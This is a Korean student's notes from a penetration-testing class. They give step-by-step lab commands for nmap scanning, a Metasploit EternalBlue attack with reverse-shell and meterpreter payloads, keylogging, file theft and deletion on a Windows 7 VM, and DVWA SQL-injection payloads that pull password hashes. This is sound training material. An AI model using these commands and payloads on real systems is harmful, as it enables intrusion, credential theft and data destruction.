등등/웹 보안

웹 보안 - 1일차

공쓰기 2022. 5. 4. 17:21

* 약점(Weakness) : 보편적인 측면, 자산에는 약점이 있음   ex) CWE-nnnnn

* 취약점(Vulnerability) : 약점중에서 특히 치명적인 손해/피해를 입을 수 있는 것

* Exploit : 취약점을 공격하는 것 (악용)

- Zero-Day Exploit : 취약점이 발표된 당일부터 공격이 시작된다는 의미, 아직 패치가 배포되기 전까지의 기간, 매매가 되기도 함

- One-Day Exploit : 패치는 배포되었지만 아직 패치를 설치하기 전 상태 (기존 Application이 동작하지 않을수도 있기 때문 : 호환성)

   ex) CVE-YYYY-NNNNnnn

 

cf. 가장 비싼 취약점 : 아이폰 > 기업용 > Windows > Android > .....

 

* Nmap Script의 위치

$ cd  /usr/share/nmap/scripts

$ sudo  find  .  -name "*distcc*"              // 아무것도 안나옴

$ sudo  fine  .  -name "*2004-2687*"

* 서비스 이름 뒤에 붙는 d의 정체 : daemon (악마) ----> 메모리에 상주하면서 클라이언트의 요청을 처리하는 프로세스

   ex) httpd,  telnetd,  ftpd,  sshd,  ....

 

* Metasploit에서 공격 모듈 검색할 때 아래 두가지 방법으로 검색해도 결과는 같음

search  vsftpd 2.3.4

search  CVE-2011-2523                             // 취약점 번호를 사용하면 매우 정확하게 검색 가능

취약점 다똑같음 같은 커널이라

* Metasploit를 처음 실행할 때 : 피닉스 아이콘 > 08 Exploitation Tools > Metasploit Framework 클릭

   -------> DB생성, 사용자생성 등 초기화 작업이 필요하기 때문

 

* Metasploit를 두번째 실행할 때부터는

$ sudo  msfconsole

 

* 취약점 제보 사이트

https://www.exploit-db.com/

- 취약점을 발견한 보안 전문가들이 이 사이트에 제보

- Offensive Security社에서 관리하고 있음 -----> Kali Linux를 배포하는 회사임

- 정확한 취약점 코드를 아는 것이 중요 

   ex) 프린트나이트메어 취약점은 CVE-2021-1675 아니고 제로데이 : https://www.boannews.com/media/view.asp?idx=98833

    -----> 취약점 공식 번호도 받고 패치도 배포했지만, 아직도 Exploit가 가능한 상태라서 제로데이라고 함

 

* 취약점 검증 단계

1) 기본 스캔 : Version scan, All scan

2) 스크립트를 활용한 상세 스캔

$ sudo  find  .  -name "*서비스*"                      // * : 아스테리스크  ,   ~ : 틸드

$ sudo  nmap  --script=[스크립트이름]  [타겟호스트]  -p [타겟포트]

3) 구글 검색 : 공식취약점 번호, 특징, 취약점 정보 등 파악

4) Metasploit를 활용해서 검증

 

* Windows 7 Download

  ha.do/v9P    (v는 소문자, P는 대문자)   ----> 구글 클라우드 사이트 ---> 다운로드

  ----> 다운로드 다 하신분들은 압축을 풉니다.

 

* VMware에서 Windows7 실행하기

- Player > File > Open 해서 Windows7 압축 푼 폴더로 들어갑니다.

- Windows 7 x64.vmx 파일을 선택하고 열기

- Play Virtual Machine 클릭, I copied it 선택

- 로그인 :  John / 윈도12#$

- 홈네트워크, 나중에 다시 시작

- 업데이트 물어보면 안한다고 하세요.

- Windows7의 cmd> ipconfig               (IP주소 파악)

 

1단계 : 기본 스캔

- Kali Linux에서 IP스캔 방법

$ sudo  nmap  -sn  192.168.5.100-150           //130번 켜져 있음

- 운영체제(OS)를 알려면

$ sudo  nmap  -O  192.168.5.130

   -----> Running: Microsoft Windows Vista|2008|7

- Kali Linux에서 All 스캔

$ sudo  nmap  -A  192.168.5.130

    ------> SMB 취약점에 대해 많은 정보를 알려주고 있음

 

2단계 : 스크립트를 활용한 상세 스캔

$ cd  /usr/share/nmap/scripts

$ sudo  find  .  -name "*smb*"

    ----> Windows7이 출시된 이후에 나온 취약점 (2009~)

    그중에서 smb-vuln-ms17-010.nse 선택해서 스캐닝을 해보겠습니다.

ms06이런거 안봐두 됨 07부터 보기

$ sudo  nmap  --script=smb-vuln-ms17-010.nse   192.168.5.130 

    ---->  VULNERABLE: Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

    ---->  CVE-2017-0143

취약하다. 취약번호 알 수 있음

 

3단계 : 구글 검색

    ------> 4013389는 무엇인가요?  patch번호

    Windows7의 cmd> systeminfo 입력해보면,  핫픽스(Hotpix)가 있음 (hotpix는 MS의 패치)

    KB2534111, KB976902 두개가 설치되어 있음  ---->  4013389는 없음 ----> 패치가 안되어 있음(공격가능)

    (KB : Knowledge Base의 의미)

 

4단계 : Metasploit로 Exploit

- Kali에서 새탭을 열고

$ sudo  msfconsole

msf6> search cve-2017-0143

              (Auxiliary는 보조 도구이므로, 공격 모듈은 아님)

msf6> use  exploit/windows/smb/ms17_010_eternalblue

msf6> info                                         // 모듈에 대한 정보를 확인할 수 있음

msf6> set  rhost  192.168.5.130              // 윈도7이 리부팅되면 IP가 바뀔수도 있음

msf6> show  payloads     

msf6> set  payload  windows/x64/vncinject/reverse_tcp

msf6> set  lhost  192.168.5.128              // reverse가 있으면 lhost를 지정해줍니다 (타겟이 Attacker에게 접속하도록 유도)

msf6> set  viewonly  false                     // 보기만 할것이 아니고 원격 조종할 예정

msf6> exploit

 

잘 안되는 경우 : Windows7을 리부팅해보세요.

 

VNC창을 닫고 엔터를 치면 msf6> 콘솔로 돌아옵니다.

msf6> show  payloads

msf6> set  payload  windows/x64/meterpreter/reverse_tcp              // 다른 페이로드로 변경

msf6> exploit

 

meterpreter>   ?                                          // 사용 가능한 명령어들을 볼 수 있음

meterpreter>  screenshot                               //    /home/kali 아래에 이미지로 저장됨

 

* 키로깅(Keylogger 작동시켜서 비밀번호 알아내기)

ps                                 // 프로세스 리스트가 보임

     -----> explorer.exe 프로세스의 맨 앞에 있는 번호를 확인합니다.  (PID확인)

migrate  [PID번호]                  // explorer.exe의 아래로 이동

keyscan_start

   (윈도7에서 네이버 ID/PW를 넣어봅니다, 검색창에 doctor strange 입력)

keyscan_dump

keyscan_stop                           // 키로거 동작 중지

 

* 악성코드를 윈도7의 바탕화면으로 보내기

upload  /usr/share/windows-binaries/klogger.exe  C:/users/john/desktop

 

 

윈도우 대소문자 구분 안함

 

* Windows7에 있는 사진 중에서 3으로 시작하는 파일 가져오기

download  C:/users/john/pictures/3*  /home/kali

download  C:/users/john/pictures/blackpink*  /home/kali

 

* Meterpreter의 특징

- 파일 가져오기, 파일 보내기

- 키로깅

- 스크린샷

---------> 다양한 기능들을 제공, Remote Code Execution (RCE,원격에서 명령 실행 가능)

 

실습) 내문서에 있는 bitcoin 파일 가져오기

cd  C:/users/john

ls

cd  documents

download  b*  /home/kali

 

실습) 윈도우 쉘을 획득한 후에 파일 삭제하기

shell                                              //   윈도우 커맨드로 변경

cd c:/users/john/pictures

dir

del 3*                                             // 3으로 시작하는 파일을 삭제

dir                                                  // 없어졌음을 확인

whoami                                           // 어떤 권한인지 확인 가능

 

cf. 윈도우의 권한체계 :   system > 관리자(administrator) > Desktop사용자 > 일반유저 등등

 

실습) 사용자 만들어보기  -----> 안됨(권한이 Desktop사용자)

 

실습) 모든 사용자 확인해보기

net  user

 

실습) 모든 그룹 확인해보기

net  localgroup

net  localgroup  administrators

 

* 한글이 깨져보이는 이유 : Windows는 EUC-kr(MS에서 만든 한글인코딩), Linux/Web/DB에서 UTF-8을 사용

 

exit

meterpreter> exit

set  payload  windows/x64/shell/bind_tcp

exploit

 

* Windows7에서 로그 보는 방법

  실행창에 "이벤트 뷰어" 입력하고 엔터   ----> Windows로그 (보안, 시스템, 어플리케이션)

  로그가 없는 이유는 "로컬 보안 정책"을 하지 않았기 때문

 

* 실행창에 "로컬 보안 정책"

  로컬 정책 > 감사 정책 ----> 감사 안함 -----> 로그를 남기지 않도록 설정되어 있음

  로그온에서 "성공"에만 체크하면 성공적인 로그온만 로그를 남김, 로그온 실패는 로그를 남기지 않음 ---> Dictionary, Brute Force 모름

  로그온에서 "실패"에만 체크하면 공격자가 로그온에 성공한 시점을 알 수 없음

 

   모든 감사 정책에 성공, 실패를 모두 체크하면?  로그가 엄청 많이 생성됨  ----> Rotate 전략

 

* 요약 : 감사 정책에 체크해야 로그가 생성됨  (기본적으로 감사에 체크되어있지 않음 ---> 로그 안생김)

 

* 인터넷 만든 사람 : 로버트 칸, 빈트 서프 (미국)

* WWW을 만든 사람 : 팀 버너스 리 (영국)

- 물리학자들이 가장 가고 싶어하는 연구소 : 유럽의 물리 입자 연구소(CERN)

- 사진, 설명, 하이퍼링크  ---> 문서 : html

  html과 이미지를 전송하는 프로토콜 : http

- 회원가입, 동적웹페이지 등 추가기능 : ASP,JSP,PHP, Javascript, cookie, DB 사용이 증가  -----> 보안 문제 발생

 

* HTTP Request Method

- GET과 POST를 제외한 나머지 Method는 굳이 사용할 필요가 없거나 보안 측면에서 위험함

- 웹서버에 대한 보안 인증(ISO27001, ISMS-P)에서 GET과 POST만 허용 (나머지가 있으면 결함)

 

 

http respense에서 200ok는 정상이라는것

trace 경로 노출될수도 있어서 쓰면 안됨

delete서버파일 막 지울수 있어서 허용되면 위험

일반적으로 get과post만 씀

https://search.naver.com/search.naver?where=nexearch&sm=top_hty&fbm=1&ie=utf8&query=%EC%96%B4%EB%A6%B0%EC%9D%B4%EB%82%A0

 

 

* Kali Linux에서 MySQL 연습

$ sudo  service  mysql  start                 //  MySQL 서비스 시작

$ sudo  mysql  -u  root  -p

    (비밀번호는 설정이 안되어 있음, 그냥 엔터)

> show  databases;                                     // 명령어 끝에는 항상 ;을 넣어야 함 (안넣고 엔터치면, 다음줄에서 ; 쓰고 엔터)

  information_schema 라는 DB가 있음 ----> DB의 메타값들이 저장되어 있는 스키마 (DB이름, 테이블 이름, 컬럼 이름 등이 저장)

 

> create  database  world;                    // world라는 DB를 만듦

> use  world;                                     // world라는 DB를 사용하겠다는 사용 선언

> drop  database world;

    참고) DB를 사용하다가 ;을 사용하지 않아서 취소하고 싶을 때  \c를 사용

> create  database  korea  charset utf8  collate  utf8_general_ci ;                // UTF8방식으로 한글을 입력할 수 있음

> use  korea;

1) 테이블 만들기

> create  table  city (

   name  varchar(10),

   phone  int(3),

   color  char(3),

   people  bigint

   );

 

* Data Type : 지정한 데이터 타입에 맞는 값을 입력해야 함

- varchar (Various Character) : 가변길이 문자열  ----> 지정한 문자를 넘지 않으면 됨   ex) varchar(10) : 10글자 이내로 작성

- char (Character) : 고정길이 문자열   -----> 지정한 개수만큼의 문자를 사용해야함   ex) char(3) : 무조건 세글자

- int (integer) : 정수  (최대 20억정도까지밖에 못씀)    ex) 예산, 부동산 가격, 고액 연봉자는 표시할 수 없음

- bigint  :  큰 정수

- text : 글을 입력할 수 있음

------> 문자열은 '   '로 묶어주어야 함,  숫자는 그냥 입력

 

2) 데이터 입력하기

insert  into  city  values ('Seoul', 002, 'BLU', 10000000);

insert  into  city  values ('Daegu', 053, 'GRN', 2000000);

insert  into  city  values ('Busan', 051, 'BLK', 4000000);

insert  into  city  values ('Ulsan', 052, 'SLV', 1000000);

 

3) 입력한 값들을 보려면?

select * from city;

 

4) 테이블 구조를 보려면?

desc  city;

 

5) 울산 인구가 300만으로 늘어서 수정하려면?

update  city  set  people=3000000  where  name='Ulsan';

 

cf. admin 패스워드를 test12#$로 바꾸려면?  (테이블명은 member,  column명은 passwd라고 함)

update  member  set  passwd='test12#$' where  userid='admin';                     // 패스워드가 평문으로 저장

update  member  set  passwd=sha2('test12#$', 256)  where  userid='admin';       // SHA2-256방식으로 해쉬값을 저장하는 방법

 

* Select문 두개를 연결하려면?  UNION

select  name,phone  from  city  union  select  color,people  from  city;

-----> 앞의 Select문에서 요청한 컬럼 개수와 뒤의 Select문에서 요청한 컬럼 개수가 일치해야 함

 

select  name,phone  from  city  union  select  color  from  city;                // 에러 발생

 

* SQL 인젝션의 원리

1) 로직이 참이 되도록 함 : and, or

  True and False = False               // and는 둘중에 하나만 false여도 false가 됨

  True  or  False = True                // or은 둘중에 하나만 True여도 True가 됨

2) 주석처리 : 뒤에 처리되지 않고 남는 부분에 SQL에러를 발생시킴 ----> 주석처리해서 무력화

   Oracle, MS-SQL :  --

   MySQL, MariaDB : #

3) 중첩문을 사용

   앞에 SELECT문이 있으면 UNION SELECT로 이어가는 방법

   앞에 SELECT문이 있는데 UPDATE문을 사용하고 싶으면 ;으로 마무리 짓고 UPDATE문을 사용

 

* information_schema 구조

> use information_schema;

> show tables;

     -----> Tables라는 테이블과 Columns라는 테이블이 중요

> desc  tables;

> select  distinct  table_schema from tables;                  // table_schema라는 컬럼만 골라서 보기 (중복제거 : distinct)

    ----> 데이터베이스의 이름이 보임 (> show databases; 의 결과와 동일함)

 

> select  table_name  from  tables;                                   // 모든 DB의 테이블이름이 보여짐

> select  table_name  from  tables  where  table_schema='korea';        // korea라는 DB의 테이블만 보려고 할 때

 

> desc  columns;                                                      // columns 테이블의 컬럼 목록 보기

> select  column_name from columns;                           // columns 테이블의 컬럼이름들을 보기

> select  column_name from columns  where  table_name='city';      // 테이블이름이 city인 컬럼이름만 보기

 

실습) Metasploitable2를 켭니다.  (콘솔에서 로그인할 필요 없음)

- Windows10 에서 Web Browser를 열고 주소창에 Meta2의 IP를 넣으세요.

- DVWA 클릭 : admin/password 입력 (아래쪽에 써있음)

- Security Level을 high에서 low로 바꿈

- SQL인젝션 메뉴를 클릭 : 1~5 번(사번) 입력 ---> 이름과 성이 출력됨   (사번조회시스템)

- SELECT문을 예상해보면?

    select  firstname,sirname  from  ?  where  id='  ';

- 전체가 출력되게 하려면?

     select  firstname,sirname  from  ?  where  id='' or 1=1 #';                 // 앞의 '와 짝을 만들어주고, or True를 넣고, 뒤의 '는 주석처리

 

* 다양한 인젝션 구문

 ' or 1=1 #

 ' or 2>1 #

 ' or 'a'='a' #

 ' or 'T'>'S' #

 ' or 'a'='a                                    // 어차피 뒤에 남는 '를 활용해서 a를 닫을 때 사용하는 방법 (주석 불필요)

* 로그인 계정의 ID와 PW를 알아내려면?

- DB이름, 테이블이름, 컬럼이름 -----> SQL문을 만들 수 있음

1단계) 앞의 SELECT문에서 요청한 개수를 알아야 UNION을 이용할 수 있음

select  ?,?   from  ?  where  id='' union  select  ~~~~ #';                

 

' union select  null #                 // 1개만 넣어보기  ----> 컬럼 개수가 맞지 않는다고 함

' union select  null,null #            // 2개를 넣어보면 정상 실행됨

' union select  null,null,null #       // 3개를 넣어보기  ----> 컬럼 개수가 맞지 않는다고 함

 

2단계) DB이름 알아내기

' union  select  database(),null  #

' union  select  database(),version()  #

' union  select  database(),user()  #

' union  select  database(),@@version  #

------> DB이름 : dvwa

 

3단계) Table 이름 알아내기

' union  select  table_name,null  from  information_schema.tables  where table_schema='dvwa' #

    ----> guestbook, users 라는 테이블이 있음을 확인

 

4단계) Column 이름 알아내기

' union  select  column_name,null  from  information_schema.columns  where  table_name='users' #

    ----> user, password

 

5단계)  각 사용자의 로그인 계정과 패스워드를 알아내기

' union  select  user,password  from  users #

 

admin  /  5f4dcc3b5aa765d61d8327deb882cf99    (4bit * 32 = 128bit ---->  MD5의 해시값임)

gordonb  /  e99a18c428cb38d5f260853678922e03

 

hashes.com  또는 crackstation.net의 free hash cracker 에  해쉬값을 넣으면 원문 패스워드를 찾아줌